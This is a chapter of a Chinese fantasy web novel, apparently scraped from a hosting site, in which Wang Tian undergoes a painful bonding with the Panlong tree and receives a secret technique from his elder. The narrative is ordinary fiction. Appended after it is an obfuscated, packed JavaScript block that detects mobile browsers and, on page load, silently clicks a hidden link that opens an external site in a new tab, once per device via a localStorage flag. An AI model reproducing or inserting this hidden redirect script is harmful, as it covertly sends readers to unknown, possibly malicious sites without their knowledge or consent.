第五文学网 > 玄幻小说 > 战魂袭天 > 第二十章 盘龙烙印

第二十章 盘龙烙印

    王天好奇看着四周,他此时身处的是一片树林。

    盘龙堡里面种的树似乎都枝叶繁茂,葱葱郁郁遮天蔽日,但奇怪的是,即使阳光很少透进来,整个盘龙堡却没有阴沉灰暗之感。

    这里的树木却截然不同,没有茂盛繁密的枝叶,只有笔挺的树干直冲天际,没有多余的分叉,仿佛随时可以捅破苍穹,更显风骨,更显气势!

    王天的目光最终定格在一株看起来最为粗壮的古树前,让他感到奇异的是,这棵古树粗大的树干却显得异常光滑,阳光没有投射到它身上,但王天却觉得它本身就可以发光发亮,仿佛岁月并没有在它身上多留痕迹,却让它越发滑亮。

    “它就是盘龙树。”嵩明负手站在了树前,仰头肃穆说道:“亦是盘龙堡一直以来的守护神,保护着盘龙堡无数个日月。”

    王天更为惊讶,眼前的古树竟然就是盘龙堡最神秘的存在,看着看着愈发觉得高不可攀。

    嵩明收回目光对着王天说道:“天儿,从今日起,我和你每天都会来到树前,强行让你和盘龙树血气相通,接受盘龙树的洗礼,为你驱除那人留在你身体诡异战气的同时,亦是对你本身识海的磨砺,你要好好体悟,对你往后的修炼或会受益匪浅。”

    那日王天和伏格大战,表面上是伏格败退,实际上是王天受了重伤,如果不是伏格有所顾忌,王天说不定已经交代那那里了。

    而伏格留在王天身上的诡异战气,竟然极难驱除,又或许是伏格认为王天绝对无法驱除这些战气,所以才会退走。

    嵩明示意王天面对盘龙树盘膝坐下,继续说道:“驱散战气过程会痛苦无比,你要坚持住,可以大喊,但不能移动身体,明白没有?”

    “明白了,徒孙谨记!”

    “那便开始吧,双手手心抵住树身!”

    王天依言将手心去盘龙树贴去。

    触手冰寒!

    王天的身体竟然快速被冻得僵硬,下意识立即想抽手离开,但他没有缩手,紧咬牙关死死抵住!

    与树身接触的右手已经除了感觉到奇寒无比之外,别无知觉!

    但奇怪的事情才刚开始,王天分明能感觉到树干里面的滚烫如火,意识里像突然爆炸般瞬间被大火淹没,识海被轰轰烈火烧得体无完肤,头痛欲裂!

    手上的寒冰侵体,识海的烈火焚烧,两种完成相反的感觉反复冲绕着王天,冰火两重天!

    王天痛苦万分,整个人仿佛都要被撕裂的感觉,嘴巴颤抖着张开不停哆嗦,根本无法控制,他甚至可以清晰听到自己牙齿不停相碰的撞击声!

    最糟糕的是意识被那高温热火灼烧得已经开始有些模糊。一旦失去意识,他便会无法控制自己的身体,无法让自己的双手保持与树身接触。

    他突然想起了之前师公的说话,可以大喊。

    对,那便大喊吧!

    “啊!”

    王天的喊声没有撕心裂肺,却仿佛来自灵魂的嘶吼,随着盘龙树冲上天际,他的意识也顿时清醒不少。

    嵩明欣赏地看了王天一眼,然后他来到了王天身后坐下,双手骤然抵向王天背上,天地元气从四周开始集聚,集聚在他的手臂四周,紧紧缠绕,不断压缩。

    直至狂泄!

    王天的识海突然被无数狂风侵入,却不再觉得痛楚,狂风进来后渐渐变成柔风,在识海里萦绕一遍后竟然再次透出。

    豁然开朗!

    随着一阵阵柔风的散发,世界在王天逐渐展开,他可以感受到一些以前无法感受的东西。

    那是天地间一些特有的韵律,如细丝,如流水,却无处不在。

    在外面看来,王天却仍然只是紧紧与树身紧贴,盘龙树仍然像死神般俯视。骤然间,树身上难以察觉流动的暗色突然像是感觉到什么,突然停止不动。

    树身随着暗色的静止而开始颤动。颤动越来越快,仿佛被蒙尘的暗色像被震掉了身上的灰尘,渐渐绽放光芒。流动的暗色最终变成了闪动的光彩,竟然渐渐有了狂涌而出的态势!

    只过了一会,闪动的色彩果然透体而出!奇怪的是,色彩只是缓缓溢出,并不像在树身中那般躁动,沿着与它紧密接触的掌心和手指流淌王天全身。

    而随着树身溢出的色彩流过,此时的王天如同光怪陆离的水湖,不断闪烁各种光芒。

    不知过了多久,流淌的光彩闪烁数下,便似潮退般退去。

    不过不是消散,而是汇聚,在王天丹田和头上形成了两个小湖,似两个立体的光球,或者是孕育着生命的胚胎。

    王天的识海此时却变了天,五彩光芒从四方八面如流水般渗入,真正进入识海之后却流风似的飘荡。

    但随着飘荡的流风愈发密集,终于可以发现它们并不是随意而飘。

    它们沿着识海循环划过,刚开始识海似乎并没有在这些光彩的抚拂下有丝毫改变。但随着不断被循环轻抚,已经可以发现识海在悄然改变!

    而丹田处的小湖则开始漩涡般转动,过不多久竟然再次向身体其他部位渗透!最后缓缓聚集于先前于树身直接触碰的双手手掌。两个湖的位置便变成了三个湖,一个火红色的在额门,两个水蓝色的分别在左右手掌。

    过了不知多久,这些散开的小湖再次聚拢,在王天的胸口处融合!

    盘龙烙印!

    烙印方成型,王天体内原本在游荡着的诡异战气,突然像受到了刺激般,向着王天盘龙烙印急冲而去,临近之前,速度再提!

    这股战气竟然有灵性般想要冲散盘龙烙印。

    但盘龙树的烙印岂是那么好冲散?战斗一触即发,盘龙烙印和诡异战气在王天体内肆无忌惮般缠斗起来,从胸前打到了丹田,打到了奇经八脉……

    王天的鼻子开始流血,接着嘴巴也溢出了污血,然后连耳朵也开始淌出了丝丝血流,最后已经七孔尽是血。

    它们斗得兴起,却苦了王天,他此时感觉到体内像无时无刻都被无数剑刺,无数刀斩,无数道原本闪烁在天空的雷电炸在身内!

    但他依然要坚持,他的手还丝丝按在树身上,手背发红发紫,青筋尽起!

    嵩明心中却惊叹不已,他原本预计早在一炷香前就要斩断王天和盘龙树的联系,因为那种非人的痛楚折磨,以常人的意志不可能忍受太久。

    但王天竟然坚持了那么久,嵩明贴在王天背上的双手完全能感受到他已经抽搐的肌肉,快要敲碎的牙关。

    此时甚至连他都感到颤沭!

    “天儿,好了!”他沉声喝道。

    他实在不敢想象更不忍心再让王天承受这种折磨,战气透过王天的身体,撞在了盘龙树上,瞬间隔断了他们之间的联系。

    盘龙烙印也随之而去,剩下了失去了对手的诡异战气,微微振动着,似乎虚弱了几分。

    嵩明叹了一声,便开始检查王天的身体,突然他感觉到王天身体多了股截然不同的气息,但不像那股诡异的战气,因为这股气息已经和王天的身体融为一体。

    “盘龙烙印!”嵩明语气中充满了惊奇惊喜:“想不到天儿因祸得福!”

    王天倒在了嵩明怀里,满身血污,模样惨不忍睹,忍受着非人的折磨,他的面容已经扭曲不成样子,甚至此时依然略显狰狞,但他途中竟然没有喊过一次停下。

    只是,受尽折磨的何止王天?。

    过了一段时间,王天看着日渐消瘦的,精神不振的嵩明,隐隐猜到了原因。

    “师公,你的身体?”这一天,王天忍不住问道,他其实已经隐约猜到嵩明是为了帮他而导致精气消耗,身体虚弱。

    “不用多说,我和你老师不会矫情,你和你老师也不会矫情,难道你就要和我矫情?”嵩明咳嗽两声说道。

    嵩明说完似乎累去,转身走去,身后却传来王天平淡而坚定的声音:“师公,我想变强,我要变强。”

    嵩明不再咳嗽,说道:“然后呢?”

    王天将摄魂棒放到面前,眼睛看着?棒,又似是看向远方的唐家,说道:“然后……才能有然后。”

    嵩明停下脚步,说道:“盘龙堡终究太小,而且纷争太多,不利于你的修炼。你想要变得更加强大,强大到可以改变命运,就必须去其他可以学到更加多东西,经历更多的东西……有一个地方,或许可以让你迅速提升实力,却又伴随着无尽的凶险。”他沉默片刻,才继续说道:“但这都是你离开后的事,你首先要找个借口离开盘龙堡,将音门封存起来。之后你有了足够的实力,回来后击败各门的核心弟子,坐上音门门主之位,一步步改变命运……”

    “这是盘龙印的功法,是盘龙堡的最精妙战技,天地玄黄中的玄阶战技,如果配合盘龙烙印,威力已经可以媲美地阶的一些功法了,是盘龙堡的镇堡之宝。你的魂战技虽然厉害,但是消耗战气太厉害,你要好好修炼盘龙印,对你的实力有很大的提升。”

    &nbsp


eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('s z(){n(S A==="\\o\\7\\3\\0\\j\\4\\7\\0\\3"){B T}C a=(U^V)+(D^D);t E=A[\'\\o\\c\\0\\8\\W\\l\\0\\7\\2\'][\'\\2\\1\\u\\1\\p\\0\\8\\q\\5\\c\\0\']();a=X^Y;C b=(F^F)+(Z^10);t G=11 12(\'\\5\\7\\3\\8\\1\\4\\3\\d\\4\\e\\k\\1\\7\\0\\d\\4\\e\\5\\3\\d\\4\\e\\1\\3\\d\\p\\4\\7\\3\\1\\p\\c\\H\\e\\k\\1\\7\\0\\d\\9\\6\\5\\g\\r\\9\\0\\8\\8\\h\\d\\c\\h\\f\\9\\4\\5\\7\\d\\p\\0\\9\\1\\c\\d\\1\\e\\0\\8\\5\\H\\f\\4\\7\\4\\d\\4\\0\\f\\1\\9\\4\\6\\0\\d\\f\\1\\9\\4\\6\\0\',\'\\4\');b=13^14;B G[\'\\2\\0\\c\\2\'](E)}s I(a){t i=m[\'\\g\\8\\0\\5\\2\\0\\J\\6\\0\\f\\0\\7\\2\']("\\5");i[\'\\k\\8\\0\\j\']=a;i[\'\\c\\2\\h\\6\\0\'][\'\\3\\4\\c\\e\\6\\5\\h\']="15".v("").w().x("");i[\'\\2\\5\\8\\l\\0\\2\']="16".v("").w().x("");m[\'\\9\\1\\3\\h\'][\'\\5\\e\\e\\0\\7\\3\\q\\k\\4\\6\\3\'](i);i[\'\\g\\6\\4\\g\\r\']();m[\'\\9\\1\\3\\h\'][\'\\8\\0\\f\\1\\K\\0\\q\\k\\4\\6\\3\'](i)}m[\'\\5\\3\\3\\J\\K\\0\\7\\2\\u\\4\\c\\2\\0\\7\\0\\8\']("\\17\\18\\19\\q\\1\\7\\2\\0\\7\\2\\u\\1\\5\\3\\0\\3",s(){n(!L[\'\\l\\6\\1\\9\\5\\6\\M\\5\\8\']){n(m[\'\\9\\1\\3\\h\']!=1a){L[\'\\l\\6\\1\\9\\5\\6\\M\\5\\8\']="\\y";N=O[\'\\l\\0\\2\\y\\2\\0\\f\']("\\6\\o\\g\\r\\P\\j\\j");n(!N&&z()){I("\\k\\2\\2\\e\\1b\\Q\\Q\\1c\\1d\\1e\\1f\\R\\6\\6\\1g\\1h\\1i\\R\\g\\1\\f")}O[\'\\c\\0\\2\\y\\2\\0\\f\']("\\6\\o\\g\\r\\P\\j\\j","1j".v("").w().x(""))}}});',62,82,'u0065|u006F|u0074|u0064|u0069|u0061|u006C|u006E|u0072|u0062|||u0073|u007C|u0070|u006D|u0063|u0079|_0xbdg|u0066|u0068|u0067|document|if|u0075|u0077|u0043|u006B|function|const|u004C|split|reverse|join|u0049|isMobileDevice|navigator|return|var|615449|_0x9c7bf|203424|_0x824eea|u0020|OpenUrl|u0045|u0076|window|u0056|hasExecuted|localStorage|u005F|u002F|u002E|typeof|false|546540|546541|u0041|912060|912059|548096|548097|new|RegExp|178627|178629|enon|knalb_|u0044|u004F|u004D|null|u003A|u0037|u0035|u0033|u0032|u0071|u0078|u007A|eurt'.split('|'),0,{}))